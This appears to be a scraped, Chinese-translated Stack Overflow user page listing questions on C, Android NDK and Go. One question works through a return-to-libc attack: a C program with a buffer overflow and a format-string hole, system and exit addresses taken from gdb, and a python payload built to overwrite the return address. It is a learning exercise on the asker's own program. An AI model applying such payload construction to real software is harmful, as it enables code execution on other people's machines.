小编re3*_*3el的帖子

C语言中二维数组声明中的歧义

我已经用以下格式定义了数组,但显然该程序仅在CASE B中正常工作.

案例A:

int **M1;
M1 = (int **)malloc(m * sizeof(int *));
for (int i=0; i<m; i++){
    M1[i] = (int *)malloc(d * sizeof(int));
} 
Run Code Online (Sandbox Code Playgroud)

案例B:

int (*M1)[m] = malloc(sizeof(int[m][d]));
Run Code Online (Sandbox Code Playgroud)

我在CASE A中遇到了分段错误.可能是什么原因?

c arrays malloc pointers

6
推荐指数
1
解决办法
154
查看次数

如何从 NDK 中的本机代码打印到 android 屏幕上?

我希望将printf本机代码(in C)中语句的输出打印到 android 屏幕上。由于我希望在 android 屏幕上看到许多输出,因此我想要的不仅仅是 JNI 函数末尾的 return 语句,它为每个函数打印一个文本。怎么办?

编辑:

例如在我的 C 代码中,如果我想在像“ Hello World”这样的函数中间打印一些东西,我该怎么办?现在,我可以only from return!使用setText方法在 android 屏幕上打印“ ” 。

jstring Java_com_example_encryptString( JNIEnv* env, jobject thiz) 
{
   printf("Hello World");
   return (*env)->NewStringUTF(env, "only from return!");
}
Run Code Online (Sandbox Code Playgroud)

我知道一种方法,我从 Java 类调用此方法并用于TextViews在 android 屏幕上打印它。但是,这只能获取和打印函数返回的值,而不能打印其他任何值。我不能打印函数没有返回的任何其他值吗?

谢谢。

注意:我不是在 logcat 中寻找 android 日志。

android android-ndk

5
推荐指数
1
解决办法
2080
查看次数

重回 libc 攻击

我正在尝试使用格式字符串攻击向量对以下代码实施返回到 libc 攻击。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}
Run Code Online (Sandbox Code Playgroud)

我想通了使用系统()的地址p system的命令gdb。通过使用 对堆栈帧的检查x/500s $esp,我计算出包含\bin\sh.

system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207
Run Code Online (Sandbox Code Playgroud)

有了这些东西,我构造了以下格式字符串:

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
Run Code Online (Sandbox Code Playgroud)

其中0xffffcdbc - 0x4是包含系统地址0xf7e2cda0值的本地地址。

我使用编译程序gcc -m32 -fno-stack-protector -o sh sh.c并使用gdb sh. 执行后,在输入时r<inp,我得到以下输出

gdb_output

如上所示,显示了一些错误命令,我只有在r再次运行命令后才能进入 shell …

c linux libc buffer-overflow

5
推荐指数
1
解决办法
5799
查看次数

UnsatisfiedLinkError:找不到libcrypto.so.1.0.0

我在eclipse中使用android ndk.我编译了我的项目,但在运行时遇到了错误.我有libcrytpoNative.solibsslNative.so文件但我得到这个错误libcrypto.so.1.0.0没有找到错误.我该怎么解决这个问题?

这是输出 ndk-build V=1

    Android NDK: WARNING: APP_PLATFORM android-21 is larger than android:minSdkVersion 14 in ./AndroidManifest.xml    
    rm -f ./libs/arm64-v8a/lib*.so ./libs/armeabi/lib*.so ./libs/armeabi-v7a/lib*.so ./libs/armeabi-v7a-hard/lib*.so ./libs/mips/lib*.so ./libs/mips64/lib*.so ./libs/x86/lib*.so ./libs/x86_64/lib*.so
    rm -f ./libs/arm64-v8a/gdbserver ./libs/armeabi/gdbserver ./libs/armeabi-v7a/gdbserver ./libs/armeabi-v7a-hard/gdbserver ./libs/mips/gdbserver ./libs/mips64/gdbserver ./libs/x86/gdbserver ./libs/x86_64/gdbserver
    rm -f ./libs/arm64-v8a/gdb.setup ./libs/armeabi/gdb.setup ./libs/armeabi-v7a/gdb.setup ./libs/armeabi-v7a-hard/gdb.setup ./libs/mips/gdb.setup ./libs/mips64/gdb.setup ./libs/x86/gdb.setup ./libs/x86_64/gdb.setup
    [armeabi-v7a] Install        : libcpabe.so => libs/armeabi-v7a/libcpabe.so
    install -p ./obj/local/armeabi-v7a/libcpabe.so ./libs/armeabi-v7a/libcpabe.so
    /home/yogi/android-ndk/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-strip --strip-unneeded  ./libs/armeabi-v7a/libcpabe.so
    [armeabi-v7a] Install        : libcryptoNative.so => libs/armeabi-v7a/libcryptoNative.so
    install -p ./obj/local/armeabi-v7a/libcryptoNative.so ./libs/armeabi-v7a/libcryptoNative.so
    /home/yogi/android-ndk/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-strip --strip-unneeded  ./libs/armeabi-v7a/libcryptoNative.so
    [armeabi-v7a] …
Run Code Online (Sandbox Code Playgroud)

openssl android-ndk

2
推荐指数
1
解决办法
3164
查看次数

如何通过Golang中的函数传递接口指针?

我在测试 golang 功能时遇到了这个概念,我可以将接口的指针用作接口本身。在下面的代码,我怎么保证该值one的变化random

package main

import (
    "fmt"
)

func some(check interface{}) {
    check = "random"
}

func main() {
    var one *interface{}
    some(one)
    fmt.Println(one)
}
Run Code Online (Sandbox Code Playgroud)

具体来说,我需要可以将接口指针传递给接受接口作为参数的函数的方法。

谢谢!

interface go

2
推荐指数
1
解决办法
7629
查看次数

如何在golang中通过引用传递struct类型的接口?

我需要通过引用传递struct类型的接口,如下所示.既然,我不能使用接口指针来构造结构类型变量,我应该如何更改下面的代码来修改te10

package main

import (
    "fmt"
)

func another(te *interface{}) {
    *te = check{Val: 10}
}

func some(te *interface{}) {
    *te = check{Val: 20}
    another(te)
}

type check struct {
    Val int
}

func main() {
    a := check{Val: 100}
    p := &a
    fmt.Println(*p)
    some(p)
    fmt.Println(*p)
}
Run Code Online (Sandbox Code Playgroud)

谢谢!

PS我已经读过,传递指向接口的指针不是一个很好的做法.请告诉我什么是更好的方法来处理它

pointers go

1
推荐指数
1
解决办法
4184
查看次数

标签 统计

android-ndk ×2

c ×2

go ×2

pointers ×2

android ×1

arrays ×1

buffer-overflow ×1

interface ×1

libc ×1

linux ×1

malloc ×1

openssl ×1